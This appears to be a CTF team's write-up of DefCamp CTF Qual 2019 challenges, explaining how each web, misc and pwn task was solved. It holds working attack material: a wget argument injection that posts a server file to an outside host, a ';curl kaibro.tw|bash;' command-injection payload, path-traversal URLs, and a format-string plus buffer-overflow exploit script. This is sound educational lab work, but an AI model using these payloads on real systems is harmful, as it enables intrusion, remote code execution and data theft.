DefCamp CTF Qual 2019

Web

Downloader v1

This challenge allows you to input a URL. Then it will use wget to download the content of this URL and put it into /upload/<random>. After this, it will run bash -c 'rm $target/*.{php,pht,phtml,php4,php5,php6,php7}' to prevent uploading php files.

But we can use argument injection to upload file:

wget http://kaibro.tw --post-file=/var/www/html/index.php kaibro.tw:8787

<?php

ini_set('display_errors', 0);
$out   = false;
$url   = $_POST['url'] ?? false;
$error = false;

if ($url && !preg_match('#^https?://([a-z0-9-]+\.)*[a-z0-9-]+\.[a-z0-9-]+/.+#i', $url)) {
    $error = 'Invalid URL';
} else if ($url && preg_match('/\.(htaccess|ph(p\d?|t|tml))$/', $url)) { // .htaccess .php .php3 -  .php7 .phtml .pht
    $error = 'Sneaky you!';
}

if (!$error && $url) {
    $target = 'uploads/' .uniqid() . bin2hex(openssl_random_pseudo_bytes(8));
    mkdir($target);
    chdir($target);
    touch('.htaccess');

    $cmd = escapeshellcmd('wget ' . $url) . ' 2>&1';
    $out = "\$ cd $target" . PHP_EOL;
    $out .= '$ ' . $cmd . PHP_EOL;
    $out .= shell_exec($cmd);

    $cmd = "bash -c 'rm $target/*.{php,pht,phtml,php4,php5,php6,php7}'";
    $out .= '$ ' . $cmd . PHP_EOL;
    $out .= shell_exec($cmd) . PHP_EOL;
}

?><!DOCTYPE html>
<html>
<head>
    <title>Downloader v1</title>
    <link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/bootstrap/4.0.0/css/bootstrap.min.css" integrity="sha384-Gn5384xqQ1aoWXA+058RXPxPg6fy4IWvTNh0E263XmFcJlSAwiGgFAW/dAiS6JXm" crossorigin="anonymous">
</head>
<body>

<div class="container mt-5">
    <div class="row">
        <div class="col-8 offset-2">
            <h3 class="text-center">File downloader v1</h3>
            <div class="card mt-5">
                <div class="card-header">Specify an URL to download</div>
                <form class="card-body" method="POST">
                    <?php if ($error): ?>
                    <div class="alert alert-danger" role="alert"><?php echo htmlentities($error); ?></div>
                    <?php endif;?>
                    <div class="form-group">
                        <label>URL to download:</label>
                        <input type="text" name="url" placeholder="http://example.com/image.jpg" value="<?php echo htmlentities($url, ENT_QUOTES); ?>" class="form-control" >
                    </div>
                    <button type="submit" class="btn btn-primary float-right">Submit</button>
                </form>
                <?php if ($out): ?>
                <div class="card-header card-footer">Output:</div>
                <div class="card-body">
                    <pre><code><?php echo htmlentities($out); ?></code></pre>
                </div>
                <?php endif;?>
            </div>
        </div>
    </div>
</div>

<!-- <a href="flag.php">###</a> -->

read the flag.php:

GET ME!
<?php /* DCTF{f8ebc33b836f0ac262fef4c18d3b18ed405da41bb4389c0d0fa1a5a997da1af0} */ ?>

imgur

In this challenge, you can set your avatar from imgur.com.

It will download the image from imgur.com and put it into profiles/xxxxx.jpg.

And there is a LFI vulnerability: ?page=xxxxx

So our target is to put malicious php code into image, then use LFI include it to RCE.

DCTF{762241E8981F7E4C2B134C2894747990989FB5DFF0A3AD8DB5A0CEB5D05CBD8D}

online-album

In this challenge, the /download/ path looks so weird.

e.g. Visiting /download/index.php will show the php source code.

After fuzzing, I found path traversal vulnerability: https://online-album.dctfq19.def.camp/download/%252e%252e%252fcomposer.json

So we can read any php source code now:

/download/%252e%252e%252froutes/web.php

<?php

/*
|--------------------------------------------------------------------------
| Web Routes
|--------------------------------------------------------------------------
|
| Here is where you can register web routes for your application. These
| routes are loaded by the RouteServiceProvider within a group which
| contains the "web" middleware group. Now create something great!
|
*/

Route::get('/', function () {
    return view('welcome');
});

Auth::routes();

Route::get('/home', 'HomeController@index')->name('home');
Route::get('/album/{path}', 'HomeController@album')->name('album')->where('path', '.*');
Route::get('/download/{path}', 'HomeController@download')->name('download')->where('path', '.*');
Route::post('/auto-logout', 'HomeController@auto_logout')->name('auto-logout');

Let's read the HomeController: /download/%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f/var/www/html/app/Http/Controllers/HomeController.php

<?php

namespace App\Http\Controllers;

use Illuminate\Http\Request;
use Auth;

class HomeController extends Controller
{
    /**
     * Create a new controller instance.
     *
     * @return void
     */
    public function __construct()
    {
        $this->middleware('auth');
    }

    /**
     * Show the application dashboard.
     *
     * @return \Illuminate\Contracts\Support\Renderable
     */
    public function index()
    {
        return view('home');
    }

    public function album(Request $request, $path)
    {
        // dd($path);
        // dd(getcwd());

        $path = urldecode($path);

        if ($path[0] == "/") {
            $path = substr($str, 1);
        }

        $files = scandir($path);

        foreach ($files as $key => $file) {
            if ($file[0] == ".") {
                unset($files[$key]);
            }
        }
        // $files = scandir("/var/www/html/");
        $html = "";
        foreach ($files as $photo) {
            $info = pathinfo($photo);
            if(array_key_exists("extension", $info)){
                if ($info["extension"] == "jpeg") {
                $html.="<a target='_blank' href='/download/".$path."/".$photo."'><img width='700' src='/".$path."/".$photo."'></a><hr>";
                }
            }

        }
        return view('home', [
            "files" => $files,
            "html" => $html,
        ]);     

    }

    public function download(Request $request, $path)
    {
        // dd($path);
        // dd(getcwd());

        $path = urldecode($path);

        if ($path[0] == "/") {
            $path = substr($str, 1);
        }

        if (strpos($path, "../..")) {
            dd("Ilegal path found!");
        }

        $file = file_get_contents($path);
        return $file;

    }

    public function auto_logout(Request $request)
    {
        Auth::logout();
        //delete file after logout
        $cmd = 'rm "'.storage_path().'/framework/sessions/'.escapeshellarg($request->logut_token).'"';
        shell_exec($cmd);
    }


}

There is a obvious Command Injection vulnerability in the auto_logout() function.

We can insert ";curl kaibro.tw|bash;" into logout_token, then get RCE.

DCTF{1196df3f624df7a099d4364e96df21a4c7283071177237bdd36e0981da68bd29}

Misc

numbers

This challenge is a classic nim game. First, build a nim game state table. Then, we are done. Notice that the timeout limit is very strict. So I rent a GCP server in switzerland in order to solve it.

#!/usr/bin/env python3
from pwn import *

r = remote('206.81.24.129', 2337)

r.sendlineafter("Hi! What's your name?\n", 'a')
r.sendlineafter('Ready? Y/N\n', 'Y')

def nim_tables(moves):
    table = [0]
    for i in range(1, 1000 + 1):
        values = []
        for move in moves:
            if i - move >= 0:
                values.append(table[i - move])
        if 0 in values:
            table.append(1)
        else:
            table.append(0)
    return table

def go():
    r.recvlines(2)
    moves = eval(r.recvline())
    moves = sorted(moves)
    table = nim_tables(moves)

    while True:
        text = r.recvline()
        score = int(text.decode().partition('Total Score:  ')[2])
        print(f'score: {score}')
        for move in moves[::-1]:
            if score - move >= 0 and table[score - move] == 0:
                r.sendlineafter('Your move: ', str(move))
                break
        text = r.recvline()
        if b'Well done' in text:
            break
        text = r.recvline()
        if b'Well done' in text:
            break

for i in range(10):
    go()

Eye Of The Tiger

We found the solution to this challenge at the last 20 minutes, and it's too late to solve it. QQ

This challenge is a tutorial video. We found that there was a adblock chrome extension installed on the author's computer, and it added a number continuously.

We noticed that this number only added either 1 or 2. We recorded the amount of change and converted them to 0 and 1. Then, we converted each 8 bits to an ascii character. The final result is the flag.

01000100010000110101010001000110011110110011000001100100
DCTF{0d

PwnRev

get-access

There was an format string vulnerability in the username. I used %p to dump the stack, and I found a string from %30$p. It's the password for this challenge.

username: test
password: $_TH1S1STH34W3S0M3P4sSw0RDF0RY0UDCTF2019_

secret

Just use format string to leak canary and libc base; then use buffer overflow to write retrun address as one gadget.

#!/usr/bin/env python

from pwn import *

ip = "206.81.24.129"
port = 1339

context.arch = "amd64"

r = remote(ip, port)
# r = process("pwn_secret")

raw_input("$")
r.sendlineafter(":", "_%15$p_%16$p_%17$p")
out = r.recvline().split("_")
canary = int(out[1], 16)
code_base = int(out[2], 16) - 3136
libc_base = int(out[3], 16) - 133168

log.info(hex(canary))
log.info(hex(code_base))
log.info(hex(libc_base))

r.sendlineafter(":", flat("a" * 136, canary, 'b' * 8, libc_base + 0x45216))

r.interactive()

crack-me-username

After reversing, the input string will be mapped to 6U2SRYZ9A84VQXK>7;F5E?I0GJW=PD3<MT@BLH:NO1C one byte by one byte and insert to the balance tree. And then, check the pre-order traversal is equals to E852036?;<B@DLIGJPNU. Therefore, do the reverse way and we get the username D9TCEFL20ASHIW1GNORM.